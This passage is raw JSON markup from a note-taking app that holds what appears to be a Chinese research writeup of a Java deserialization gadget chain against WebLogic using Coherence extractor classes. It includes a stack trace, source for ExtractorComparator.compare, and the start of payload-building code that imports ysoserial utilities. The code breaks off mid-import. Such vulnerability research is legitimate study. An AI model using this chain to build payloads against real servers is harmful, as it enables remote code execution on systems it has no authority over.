#34;id&#34;:&#34;UqB8-1675837320570&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;extract:116, ReflectionExtractor (com.tangosol.util.extractor)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jzgG-1675837320573&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n5K6-1675837320572&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;extract:105, ChainedExtractor (com.tangosol.util.extractor)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7JYh-1675837320575&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;B7Qd-1675837320574&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;extract:96, MultiExtractor (com.tangosol.util.extractor)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JIUk-1675837320577&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xAwO-1675837320576&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;compare:143, AbstractExtractor (com.tangosol.util.extractor)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WYgr-1675837320579&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WhUV-1675837320578&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;siftDownUsingComparator:721, PriorityQueue (java.util)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c7fv-1675837320581&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zjWN-1675837320580&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;siftDown:687, PriorityQueue (java.util)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RzxZ-1675837320583&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xZ9Z-1675837320582&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;heapify:736, PriorityQueue (java.util)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;T0Fu-1675837320585&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rBMR-1675837320584&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:795, PriorityQueue (java.util)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tghI-1675837320587&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OWi1-1675837320586&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke0:-1, NativeMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1Z3z-1675837320589&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;U65S-1675837320588&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:62, NativeMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KQhi-1675837320591&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lr53-1675837320590&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:43, DelegatingMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mZBp-1675837320593&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Jw4e-1675837320592&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:498, Method (java.lang.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7Dr3-1675837320595&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8Evd-1675837320594&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invokeReadObject:1058, ObjectStreamClass (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UNmi-1675837320597&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hRjN-1675837320596&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readSerialData:2122, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FNjN-1675837320599&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;83zU-1675837320598&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readOrdinaryObject:2013, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2cbG-1675837320601&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Z3QM-1675837320600&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject0:1535, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wav3-1675837320603&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N2Fz-1675837320602&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:422, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;V23i-1675837320605&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tyQ5-1675837320604&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:73, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wSg3-1675837320607&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZlNl-1675837320606&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read:45, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ytIm-1675837320609&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SDnS-1675837320608&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ywXF-1675837320611&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QvKS-1675837320610&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;init:219, MsgAbbrevInputStream (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;azOU-1675837320613&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qsJm-1675837320612&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cxWJ-1675837320615&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;K1Fa-1675837320614&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XohE-1675837320617&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1Nay-1675837320616&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9Z5r-1675837320619&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FPYq-1675837320618&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocketOnce:993, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ytrx-1675837320621&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DzBU-1675837320620&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocket:929, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;I3Kg-1675837320623&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4SiX-1675837320622&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;process:599, NIOSocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G79a-1675837320625&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p31Q-1675837320624&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;processSockets:563, NIOSocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZI9M-1675837320627&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;q1f5-1675837320626&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:30, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;URRU-1675837320629&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sV4d-1675837320628&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:43, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nu53-1675837320631&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IVgw-1675837320630&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:147, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4LQj-1675837320633&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KGYH-1675837320632&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:119, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ecg8-1675837320635&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UFMR-1675837320634&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;sql&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;g3TS-1675823955036&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BXEa-1675823955035&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;PriorityQueue.readObject -&gt; AbstractExtractor.compare -&gt; MultiExtractor.extract -&gt; ChainedExtractor.extract -&gt; ReflectionExtractor.extract&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MJal-1675837661584&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5642/WEBRESOURCE5582d121c25c092a62e8e11b5a2590dd&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5642/WEBRESOURCE5582d121c25c092a62e8e11b5a2590dd&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PPBT-1675837726433&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5644/WEBRESOURCE7a4a49c5a5b9229a0f770ce2634b0c26&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5644/WEBRESOURCE7a4a49c5a5b9229a0f770ce2634b0c26&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q8xi-1675837736432&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5646/WEBRESOURCE1c823350ecb6f3d5a666faf3a023b80e&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5646/WEBRESOURCE1c823350ecb6f3d5a666faf3a023b80e&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UDjO-1675837763086&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5648/WEBRESOURCEcdcd69161f769bf636a64ef112576373&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5648/WEBRESOURCEcdcd69161f769bf636a64ef112576373&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qchC-1675837817342&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5651/WEBRESOURCE4d02add813468bb0fc9c642825fd1943&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5651/WEBRESOURCE4d02add813468bb0fc9c642825fd1943&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;w6Yf-1675911388245&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5726/WEBRESOURCE8b5e7c960b86acca5668735add0cf3b8&#34;,&#34;width&#34;:1708,&#34;height&#34;:1374},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5726/WEBRESOURCE8b5e7c960b86acca5668735add0cf3b8&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1708,&#34;height&#34;:1374},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JRaH-1675911387372&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zV3C-1675911387370&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;ExtractorComparator#compare&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GP4K-1675761216366&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GlR2-1675761216364&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;查看其compare方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;V4eu-1675908258744&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5711/WEBRESOURCEefc928a8df6ee11a82f789bf866f2256&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5711/WEBRESOURCEefc928a8df6ee11a82f789bf866f2256&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zBdn-1675908207760&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6lkv-1675908207742&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EbVh-1675908207741&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public int compare(T o1, T o2) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pEKo-1675908207744&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kX2Y-1675908207743&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    Comparable a1 = o1 instanceof InvocableMap.Entry ? (Comparable)((InvocableMap.Entry)o1).extract(this.m_extractor) : (Comparable)this.m_extractor.extract(o1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;heVK-1675908207746&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mjYw-1675908207745&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    Comparable a2 = o2 instanceof InvocableMap.Entry ? (Comparable)((InvocableMap.Entry)o2).extract(this.m_extractor) : (Comparable)this.m_extractor.extract(o2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b4Vv-1675908207749&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;D4og-1675908207747&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (a1 == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CchQ-1675908207751&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xx19-1675908207750&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return a2 == null ? 0 : -1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Vfku-1675908207753&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OCg6-1675908207752&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PH2k-1675908207755&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3Q9r-1675908207754&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return a2 == null ? 1 : a1.compareTo(a2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Bs9I-1675908207757&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;X0v2-1675908207756&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aVeD-1675908207759&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lPkw-1675908207758&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xPqs-1675761216699&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;y8jB-1675761216698&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;很明显的extract调用，同样的构造方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JClD-1675908509845&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gvQU-1675908509755&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6ASa-1675908509754&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import com.tangosol.util.ValueExtractor;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6Jts-1675908509757&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FYek-1675908509756&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import com.tangosol.util.comparator.ExtractorComparator;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aaYA-1675908509759&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Yj3v-1675908509758&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import com.tangosol.util.extractor.ChainedExtractor;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1fsO-1675908509761&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7dm0-1675908509760&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import com.tangosol.util.extractor.MultiExtractor;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zCoj-1675908509763&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xYs9-1675908509762&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import com.tangosol.util.extractor.ReflectionExtractor;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U70F-1675908509765&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qiDO-1675908509764&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import ysoserial.payloads.util.Reflections;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GEDT-1675908509767&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;y1KS-1675908509766&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cyDs-1675908509769&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HZJV-1675908509768&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.io.ByteArrayOutputStream;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aGjV-1675908509771&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FTen-1675908509770&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import 